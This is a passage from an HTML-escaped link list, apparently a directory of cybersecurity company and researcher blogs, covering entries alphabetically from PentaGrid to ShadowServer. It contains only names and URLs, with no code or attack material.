  &lt;li&gt;&lt;a href=&quot;https://www.pentagrid.ch/en/blog/&quot;&gt;PentaGrid&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentera.io/blog/&quot;&gt;Pentera&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentest.co.uk/labs/research/&quot;&gt;pentest information security assurance | Shearwater Group&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentestmag.com/blog/&quot;&gt;PenTest Magazine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pentestpartners.com/security-blog/&quot;&gt;PenTestPartners&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://penthertz.com/blog/&quot;&gt;penthertz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://perception-point.io/category/news/&quot;&gt;Perception Point&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.perfecto.io/blog&quot;&gt;Perfecto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.perimeterx.com/resources/blog/&quot;&gt;perimeterx&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.permasecure.io/blog/&quot;&gt;Permasecure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://permiso.io/blog&quot;&gt;Permiso&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.permit.io/blog&quot;&gt;Permit.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.persistent-security.net/blog&quot;&gt;Persistent Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://perspectiverisk.com/category/blog/&quot;&gt;Perspective Risk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://phishcloud.com/resources/&quot;&gt;PhishCloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.phishdeck.com/blog/&quot;&gt;phishdeck&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.phishlabs.com/blog/&quot;&gt;PhishLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://phobos.io/blog/&quot;&gt;Phobos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.phnx.im&quot;&gt;Phoenix R&amp;amp;D&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://phorion.io/blog/&quot;&gt;Phorion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.phylum.io&quot;&gt;Phylum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.picussecurity.com/resource/tag/article&quot;&gt;Picus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.piiano.com/blog&quot;&gt;Piiano&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pillar.security/blog&quot;&gt;Pillar Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pingsafe.com&quot;&gt;PingSafe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pixiepointsecurity.com/blog/&quot;&gt;PixiePoint Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pixmsecurity.com/blog/&quot;&gt;PIXM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.plerion.com&quot;&gt;Plerion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.plainbit.co.kr&quot;&gt;Plainbit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://platformsecurity.com/blog&quot;&gt;Platform Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://plessas.net/blog&quot;&gt;Plessas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://plextrac.com/resources/blog/&quot;&gt;PlexTrac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pluginvulnerabilities.com/&quot;&gt;Plugin Vulnerabilities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pluto.security/blog/&quot;&gt;Pluto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://polaryse.github.io/posts/&quot;&gt;Polaryse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.politoinc.com/blog&quot;&gt;Polito Inc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pomerium.com/blog/&quot;&gt;Pomerium&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.porchetta.industries&quot;&gt;Porchetta Industries&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/research&quot;&gt;PortSwigger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://positive.security/blog&quot;&gt;Positive Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.positronsecurity.com/blog/&quot;&gt;Positron Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.praetorian.com/blog/&quot;&gt;Praetorian&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bfore.ai&quot;&gt;The Prediction Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.preludesecurity.com/blog&quot;&gt;Prelude&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pretera.com&quot;&gt;Pretera&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.prevailion.com&quot;&gt;Prevailion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.primeharbor.com/blog/&quot;&gt;PrimeHarbor Technologies&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.prio-n.com/blog/&quot;&gt;PRIOn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://privacybee.com/blog/&quot;&gt;privacybee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.privado.ai/blog&quot;&gt;Privado&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.prizmlabs.io/blog&quot;&gt;PRIZM Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.probely.com/&quot;&gt;Probely&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.prodaft.com/resources/blog&quot;&gt;Prodaft&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.prodefense.io&quot;&gt;ProDefense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://profero.io/resources&quot;&gt;Profero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://googleprojectzero.blogspot.com&quot;&gt;Project Zero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.projectdiscovery.io&quot;&gt;ProjectDiscovery&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://promon.co/security-news/&quot;&gt;Promon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.promptarmor.com/resources/blog&quot;&gt;PromptArmor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://proofnet.de/index.html&quot;&gt;Proofnet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.proofpoint.com/us/blog&quot;&gt;Proofpoint&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.prophet.security/blog#top&quot;&gt;Prophet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.memorysafety.org/blog/&quot;&gt;Prossimo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://protectai.com/blog&quot;&gt;Protect AI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.protectivesecurity.gov.au/news&quot;&gt;Protective Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.protexity.com/cybersecurity-blog&quot;&gt;Protexity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://swarm.ptsecurity.com&quot;&gt;PT SWARM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pulsesecurity.co.nz/articles&quot;&gt;Pulse Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://punksecurity.co.uk/blog/&quot;&gt;Punk Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pushsecurity.com/blog&quot;&gt;Push&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pvs-studio.com/en/blog/posts/?tag=Security&quot;&gt;PVS-Studio&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pwc.com/gx/en/issues/cybersecurity.html&quot;&gt;pwc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pwndefend.com/blog/&quot;&gt;PwnDefend&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.qrator.net/en/&quot;&gt;Qrator Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://quadrantsec.com/blog&quot;&gt;Quadrant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.qualys.com&quot;&gt;Qualys&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threatprotect.qualys.com&quot;&gt;Qualys Threat Protection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.quarkslab.com&quot;&gt;Quarkslab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://quesma.com/blog/&quot;&gt;Quesma&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.r-tec.net/news-events.html&quot;&gt;r-tec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://r2c.dev/blog&quot;&gt;r2c&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://radareorg.github.io/blog/&quot;&gt;Radare team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://radix-security.com/blog/&quot;&gt;Radix Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://raelize.com/blog/&quot;&gt;raelize&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.randori.com/blog/&quot;&gt;Randori&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.randorisec.fr/blog/&quot;&gt;RandoriSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/&quot;&gt;Rapid7&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://attackerkb.com/topics&quot;&gt;AttackerKB&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rapidfort.com/blog&quot;&gt;RapidFort&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rashahacks.com&quot;&gt;rashahacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ravendigitalsecurity.com/?page_id=10&quot;&gt;Raven Digital Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://raxis.com/blog&quot;&gt;raxis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.rehack.xyz&quot;&gt;RE:HACK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://readibots.com/blogs/&quot;&gt;readibots&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.reasonlabs.com&quot;&gt;ReasonLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reco.ai/blog&quot;&gt;Reco&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.reconinfosec.com&quot;&gt;Recon Infosec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redasgard.com/blog&quot;&gt;Red Asgard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redballoonsecurity.com/blog/index.html&quot;&gt;Red Balloon Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redcanary.com/blog/&quot;&gt;Red Canary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redmaple.tech/blogs/&quot;&gt;Red Maple Technologies&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redrays.io/news/&quot;&gt;Red Rays&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redthreatsec.com/blog&quot;&gt;Red Threat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redacted.com/resources/#blog&quot;&gt;redacted&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redcodelabs.io/blog.html&quot;&gt;RedCode&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.redforce.io&quot;&gt;RedForce&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redhuntlabs.com/blog&quot;&gt;RedHunt Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://redops.at/en/&quot;&gt;RedOps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.redsiege.com/blog/&quot;&gt;RedSiege&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reliaquest.com/blog/&quot;&gt;ReliaQuest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.relyze.com&quot;&gt;Relyze&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.resecurity.com/blog&quot;&gt;Resecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://resoto.com/blog&quot;&gt;Resoto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://restoreprivacy.com&quot;&gt;Restore Privacy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://retooling.io/blog&quot;&gt;retooling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rev.ng/blog/page-1.html&quot;&gt;rev.ng&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.reversinglabs.com/blog&quot;&gt;ReversingLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://develop.secure.software&quot;&gt;ReversingLabs | Secure.Software&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reynardsec.com/en/&quot;&gt;ReynardSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rezilion.com/blog/&quot;&gt;Rezilion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rezonate.io/blog/&quot;&gt;Rezonate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rhinosecuritylabs.com/blog/&quot;&gt;Rhino Security Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ricterz.me&quot;&gt;Ricterz&lt;/a&gt; and &lt;a href=&quot;https://ricterz.me/posts/&quot;&gt;this&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://risk3sixty.com/blog/&quot;&gt;risk3sixty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.riskinsight-wavestone.com/en/&quot;&gt;RiskInsight&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.riskiq.com/blog/&quot;&gt;RiskIQ&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.riverloopsecurity.com/blog/&quot;&gt;River Loop Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://riversecurity.eu/content/&quot;&gt;River Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rosenpass.eu/blog/&quot;&gt;Rosenpass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rsa.com/en-us/blog&quot;&gt;RSA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.runzero.com/blog/&quot;&gt;runZero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://s2.security/resources/?category%5B%5D=blog&amp;amp;keyword=&amp;amp;order=#listing-section&quot;&gt;S2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.safe.security/resources/blog/&quot;&gt;SAFE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.safeguardcyber.com/blog&quot;&gt;Safeguard Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.saferwall.com/blog/&quot;&gt;Saferwall&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.safetydetectives.com/blog/&quot;&gt;SafetyDetectives&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.salemcyber.com/blog&quot;&gt;Salem&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://security.salesforce.com/blog&quot;&gt;Salesforce Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://salt.security/blog?&quot;&gt;Salt Security blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sandflysecurity.com/blog/&quot;&gt;Sandfly Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sandworm.dev&quot;&gt;sandworm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sans.org/blog/?msc=main-nav&quot;&gt;SANS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://isc.sans.edu&quot;&gt;SANS Internet Storm Center&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sansec.io/research&quot;&gt;Sansec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://santandersecurityresearch.github.io/blog/&quot;&gt;Santander Security Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sayfer.io/blog/&quot;&gt;Sayfer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scadahacker.com/index.html&quot;&gt;SCADAhacker.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://drops.scamsniffer.io&quot;&gt;Scam Sniffer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.scip.ch/?labs&quot;&gt;SCIP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scopesecurity.com/category/blog/&quot;&gt;scope&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.scorpiones.io&quot;&gt;Scorpiones&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scribesecurity.com/blog/&quot;&gt;scribe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scriptjunkie.us&quot;&gt;ScriptJunkie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.scythe.io/library&quot;&gt;Scythe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sdmsoftware.com/group-policy-blog/&quot;&gt;sdmsoftware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://slcyber.io/blog/&quot;&gt;Searchlight Cyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secfault-security.com/blog.html&quot;&gt;Secfault Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.seclarity.io/resources/blog/&quot;&gt;seclarityIO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.seclify.com&quot;&gt;The seclify blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sec-consult.com/blog/&quot;&gt;SEC Consult&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secalerts.co/news&quot;&gt;SecAlerts&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seccore.at/blog/&quot;&gt;SecCore&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secforce.com/blog/&quot;&gt;SECFORCE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secmatics.com/blog&quot;&gt;Secmatics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secplicity.org/category/editorial-articles/&quot;&gt;Secplicity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secpod.com/blog/&quot;&gt;SecPod&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://doubleoctopus.com/blog/&quot;&gt;Secret Double Octopus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sector7.computest.nl&quot;&gt;Sector7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sectrio.com&quot;&gt;SecTrio&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secudea.be&quot;&gt;Secudea&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secura.com/blog&quot;&gt;Secura&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secureannex.com/blog&quot;&gt;Secure Annex&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.supernetworks.org/pages/blog&quot;&gt;Secure Programmable Routes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securesaas.co/blog&quot;&gt;Secure SaaS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secureauth.com/blog/&quot;&gt;SecureAuth&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securecoding.com/blog/&quot;&gt;SecureCoding&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secureideas.com/blog&quot;&gt;SecureIdeas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.securelayer7.net&quot;&gt;SecureLayer7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secureworks.com/blog&quot;&gt;Secureworks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securify.nl/articles&quot;&gt;Securify&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securifyinc.com&quot;&gt;Securify (inc)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.secuinfra.com/en/techtalk/&quot;&gt;SECUINFRA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securing.pl/en/articles/&quot;&gt;Securing.pl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securit.ie/blog/&quot;&gt;securit.ie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://research.securitum.com&quot;&gt;securitum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityblue.team/blog&quot;&gt;Security Blue Team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.security-connections.com/articles&quot;&gt;Security Connections&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secdim.com/blog/&quot;&gt;Security Dimension&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityforeveryone.com/blog&quot;&gt;Security for Everyone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityjoes.com/blog&quot;&gt;Security Joes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.securityonion.net&quot;&gt;Security Onion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.srlabs.de/blog&quot;&gt;Security Research Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitysting.com/blog&quot;&gt;Security Sting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.securityinbits.com&quot;&gt;Security-in-bits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityintelligence.com/category/x-force/&quot;&gt;SecurityIntelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitypage.fyi&quot;&gt;Securitypage.fyi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sra.io/blog/&quot;&gt;SecurityRisk Advisors&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityscorecard.com/blog&quot;&gt;SecurityScorecard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitytrails.com/blog&quot;&gt;SecurityTrails&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitytrooper.com/en/&quot;&gt;SecurityTrooper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://securosis.com/blog&quot;&gt;Securosis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secutils.dev/docs/blog&quot;&gt;Secutils.dev&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seedsecuritylabs.org/news.html&quot;&gt;SEED Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seekurity.com/blog/&quot;&gt;Seekurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sekoia.io/en/blog-sekoia-io/&quot;&gt;Sekoia.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sekurenetweb.com/blog/&quot;&gt;Sekurenet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://selinuxuser.land/blog&quot;&gt;SELinux Userland&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://semgrep.dev/blog&quot;&gt;Semgrep&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.semperis.com/blog/&quot;&gt;Semperis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.sentinelone.com&quot;&gt;SentinelOne&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sentorsecurity.com/blog/&quot;&gt;Sentor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sentra.io&quot;&gt;Sentra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.seq.lv&quot;&gt;SEQ&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.sevagas.com&quot;&gt;Sevagas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sevn-x.com/blog/&quot;&gt;SEVN-X&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shadowserver.org/news-insights/&quot;&gt;ShadowServer&lt;/a&gt;&lt;/li&gt;
